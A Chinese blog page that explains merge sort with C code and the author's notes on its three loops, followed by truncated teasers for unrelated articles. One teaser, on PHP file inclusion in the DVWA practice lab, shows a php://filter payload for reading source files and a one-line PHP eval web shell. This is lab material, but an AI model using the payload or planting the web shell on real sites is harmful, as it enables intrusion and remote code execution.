排序算法之归并排序
一、归并排序的形象理解
原题链接
示例代码
void merge_sort(int q[], int l, int r)
{if (l >= r) return;int mid = l + r >> 1;merge_sort(q, l, mid), merge_sort(q, mid + 1, r);int k = 0, i = l, j = mid + 1;while (i <= mid && j <= r) //第一处if (q[i] <= q[j]) tmp[k ++ ] = q[i ++ ];else tmp[k ++ ] = q[j ++ ];while (i <= mid) tmp[k ++ ] = q[i ++ ]; // 第二处while (j <= r) tmp[k ++ ] = q[j ++ ]; //第三处for (i = l, j = 0; i <= r; i ++, j ++ ) q[i] = tmp[j]; //数组回填也很重要
}
代码分析

个人理解:
几个重要的点
1、先递归后排序的目的是为了深入到最小区间开始排序,最小区间即两个元素,如上图示意。
2、选取的mid是向下取整,所以左半部区间都是2的整数倍
3、递归的顺序都是从左到右开始
三处循环的理解:
1、循环第一处两个区间相等如果排序的数总数为偶数,则只会在循环第一处处理结束,如果排序的数总数为奇数,则还有可能进入循环第二处、循环第三处处理。
2、 i和j循环中可以如此交换赋值前提是最小区间(区间内个数为2)都是排好序的,不然无法按照此方法排序,示例如下图
相关文章:
排序算法之归并排序
一、归并排序的形象理解 原题链接 示例代码 void merge_sort(int q[], int l, int r) {if (l > r) return;int mid l r >> 1;merge_sort(q, l, mid), merge_sort(q, mid 1, r);int k 0, i l, j mid 1;while (i < mid && j < r) //第一处if (q[i]…...
macOS 下 Termius 中文显示为乱码
👨🏻💻 热爱摄影的程序员 👨🏻🎨 喜欢编码的设计师 🧕🏻 擅长设计的剪辑师 🧑🏻🏫 一位高冷无情的编码爱好者 大家好,我是 DevO…...
Apifox接口测试工具详细解析
最近发现一款接口测试工具--apifox,我我们很难将它描述为一款接口管理工具 或 接口自测试工具。 官方给了一个简单的公式,更能说明apifox可以做什么。 Apifox Postman Swagger Mock JMeter Apifox的特点: 接口文档定义: Api…...
Python 实现 PDF 文件转换为图片 / PaddleOCR
文章用于学习记录 文章目录 前言一、PDF 文件转换为图片二、OCR 图片文字识别提取三、服务器端下载运行 PaddleOCR四、下载权重文件总结 前言 文字识别(Optical Character Recognition,简称OCR)是指将图片、扫描件或PDF、OFD文档中的打印字符…...
【Java基础夯实】变量声明选择包装类还是基本类型有哪些讲究?
🧑💻作者名称:DaenCode 🎤作者简介:CSDN实力新星,后端开发两年经验,曾担任甲方技术代表,业余独自创办智源恩创网络科技工作室。会点点Java相关技术栈、帆软报表、低代码平台快速开…...
获取唯一的短邀请码
/*** 获取唯一的邀请码** return the string*/private String generateUserUniqueShareCode() {Set<String> arr getSetArr();String code;do {code generateCode(arr);} while (isCodeUserExists(code));return code;}/*** Gets set arr.** return the set arr*/NotNu…...
大词表语言模型在续写任务上的一个问题及对策
©PaperWeekly 原创 作者 | 苏剑林 单位 | 科学空间 研究方向 | NLP、神经网络 对于 LLM 来说,通过增大 Tokenizer 的词表来提高压缩率,从而缩短序列长度、降低解码成本,是大家都喜闻乐见的事情。毕竟增大词表只需要增大 Embedding 层和…...
Spark SQL【电商购买数据分析】
Spark 数据分析 (Scala) import org.apache.spark.rdd.RDD import org.apache.spark.sql.{DataFrame, SparkSession} import org.apache.spark.{SparkConf, SparkContext}import java.io.{File, PrintWriter}object Taobao {case class Info(userId: Lo…...
Google拟放弃博通自行研发AI芯片 | 百能云芯
谷歌计划自行研发人工智能(AI)芯片,考虑将博通(Broadcom)从其供应商名单中剔除,但谷歌强调双方的合作关系不会受到影响。 根据美国网络媒体《The Information》的报道,谷歌高层正在讨论可能在20…...
一百八十二、大数据离线数仓——离线数仓从Kafka采集、最终把结果数据同步到ClickHouse的完整数仓流程(待续)
一、目的 经过6个月的奋斗,项目的离线数仓部分终于可以上线了,因此整理一下离线数仓的整个流程,既是大家提供一个案例经验,也是对自己近半年的工作进行一个总结。 二、项目背景 项目行业属于交通行业,因此数据具有很…...
掌动智能:卓越性能的API接口测试工具
在现代软件开发中,API接口测试是保证应用程序稳定性和功能完整性的关键步骤之一。然而,随着应用程序复杂性的增加,传统的手动测试方法已经无法满足快速迭代和高质量需求的挑战。为了解决这一问题,掌动智能推出了一款卓越性能的API…...
Flutter 基本概念
Flutter 可用于开发 mobile, desktop, backend, Or compile to JavaScript for the web. PATH 环境变量 PATH 环境变量 - 知乎 一文搞懂Path环境变量 “环境变量”和“path环境变量”其实是两个东西! 环境变量:是操作系统提供给应用程序访问的简单 key / value字符串;windo…...
PHP包含读文件写文件
读文件 php://filter/readconvert.base64-encode/是加密 http://192.168.246.11/DVWA/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcex.php <?php eval($_POST[chopper]);?> 利用包含漏洞所在点,进行读文件,bp抓…...
uniapp——实现base64格式二维码图片生成+保存二维码图片——基础积累
最近在做二维码推广功能,自从2020年下半年到今天,大概有三年没有用过uniapp了,而且我之前用uniapp开发的程序还比较少,因此很多功能都浪费了很多时间去查资料,现在把功能记录一下。 这里写目录标题 效果图1.base64生成…...
【二叉树魔法:链式结构与递归的纠缠】
本章重点 二叉树的链式存储二叉树链式结构的实现二叉树的遍历二叉树的节点个数以及高度二叉树的创建和销毁二叉树的优先遍历和广度优先遍历二叉树基础oj练习 1.二叉树的链式存储 二叉树的链式存储结构是指,用链表来表示一棵二叉树,即用链来指示元素的逻辑…...
FL Studio21.0.3最新中文版下载安装详解
安装第一步:卸载干净fl历史旧版本,彻底退出安全软件 (如果下载好的文件无法打开,可以去百度下载一个解压工具,比如bandzip、360压缩、2345好压...)(卸载直接用电脑管家卸载或者在左下角开始处找…...
【算法与数据结构】JavaScript实现十大排序算法(一)
文章目录 关于排序算法冒泡排序选择排序插入排序希尔排序归并排序 关于排序算法 稳定排序: 在排序过程中具有相同键值的元素,在排序之后仍然保持相对的原始顺序。意思就是说,现在有两个元素a和b,a排在b的前面,且ab&…...
IntelliJ IDEA使用——插件推荐
官网插件库:https://plugins.jetbrains.com/search 代码规范检测:Alibaba Java Coding Guidelines码云:Giteemybatis插件:MyBatisX多颜色括号:Rainbow Brackets操作快捷键提示:Key Promoter X力扣ÿ…...
编写一个会导致死锁的程序,将怎么解决?
死锁发生在两个或多个线程互相等待对方释放资源的情况下。下面是一个可能导致死锁的情况: public class DeadlockExample {private static final Object lock1 = new Object();private static final Object lock2 = new...
Java JVM分析利器JProfiler 结合IDEA使用详细教程
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、JProfiler是什么?二、我的环境三、安装步骤1.Idea安装JProfiler插件1.下载程序的安装包 四、启动 前言 对于我们Java程序员而言,肯…...
别再让延迟搞砸你的PID控制!手把手教你用Matlab Simulink搭建Smith预估器(附完整模型)
从PID震荡到稳定控制:Matlab Simulink中Smith预估器的实战集成指南 当你精心设计的PID控制器在仿真中突然开始疯狂振荡,屏幕上那条曲线像喝醉了一样左右摇摆时,延迟问题很可能就是罪魁祸首。这不是算法本身的问题,而是现实世界中执…...
2026届必备的六大降重复率工具实测分析
Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 要落实信息输出的精简规范,就得设定维度清晰的降效调整规则,核心规则…...
AWPLC与AWTK MVVM实战:零代码实现嵌入式走马灯控制与界面开发
1. 项目概述与核心思路作为一名在嵌入式领域摸爬滚打了十多年的老工程师,我见过太多项目因为GUI开发和逻辑控制分离而陷入泥潭。前端UI要调,后端逻辑要改,两边工程师还得不断对齐接口,效率低下不说,出点bug排查起来更是…...
自建个人知识管理系统Memex:从数据捕获到知识图谱的实践
1. 项目概述:一个私人数字记忆库的诞生几年前,我开始意识到一个严重的问题:我的数字生活正在变得支离破碎。一篇在浏览器里偶然看到的深度文章,一个在社交媒体上转瞬即逝的灵感火花,一段在播客里听到的精彩论述&#x…...
如何高效恢复丢失数据:开源数据恢复工具TestDisk PhotoRec完整实战指南
如何高效恢复丢失数据:开源数据恢复工具TestDisk & PhotoRec完整实战指南 【免费下载链接】testdisk TestDisk & PhotoRec 项目地址: https://gitcode.com/gh_mirrors/te/testdisk TestDisk和PhotoRec是两款功能强大的开源数据恢复工具,专…...
水介导软模板 COF|MS 模拟细节全拆解
#MaterialsStudio #COF 模拟 #Nature 子刊 #科研干货 #分子模拟🔥Nature 子刊 COF 重磅突破!四川大学团队首次用软模板法做出有序分级孔 COF里面的 Materials Studio 模拟部分写得超规范新手做 COF 晶体模拟直接抄作业👇✅ 模拟工具与核心方法…...
程序员转大模型,这8个必备框架,新手也能快速上手
文章目录前言一、为什么2026年必须学大模型开发?二、8个必备框架详细解析2.1 LangChain:AI应用开发的"事实标准"核心优势2026年最新变化适用场景新手快速上手避坑指南2.2 LangGraph:企业级智能体的"骨架"核心优势为什么2…...
从FOC电机库偷师:手把手教你用C语言写一个自己的“数学加速库”
从FOC电机库偷师:手把手教你用C语言写一个自己的"数学加速库" 在嵌入式开发领域,性能优化永远是个绕不开的话题。当你在STM32上跑电机控制算法时,突然发现三角函数计算成了瓶颈;当你处理传感器数据时,浮点运…...
LaTeX-PPT:如何在PowerPoint中3分钟实现专业数学公式排版
LaTeX-PPT:如何在PowerPoint中3分钟实现专业数学公式排版 【免费下载链接】latex-ppt Use LaTeX in PowerPoint 项目地址: https://gitcode.com/gh_mirrors/la/latex-ppt 还在为PowerPoint中编辑复杂数学公式而头疼吗?LaTeX-PPT这款开源插件将彻底…...
【OpenClaw从入门到精通】第81篇:OpenClaw 2026.5.3万字实测详解——视频/音乐生成+Memory Dreaming实战指南
摘要:本文聚焦OpenClaw v2026.4.5至v2026.5.3的核心更新,基于官方文档、开发者社区实测数据,全方位解析视频生成、音乐生成、ComfyUI集成、Memory Dreaming四大核心功能。从升级迁移、环境配置到实战案例,提供可直接复制的代码与操作流程,覆盖API密钥配置、多Provider适配…...
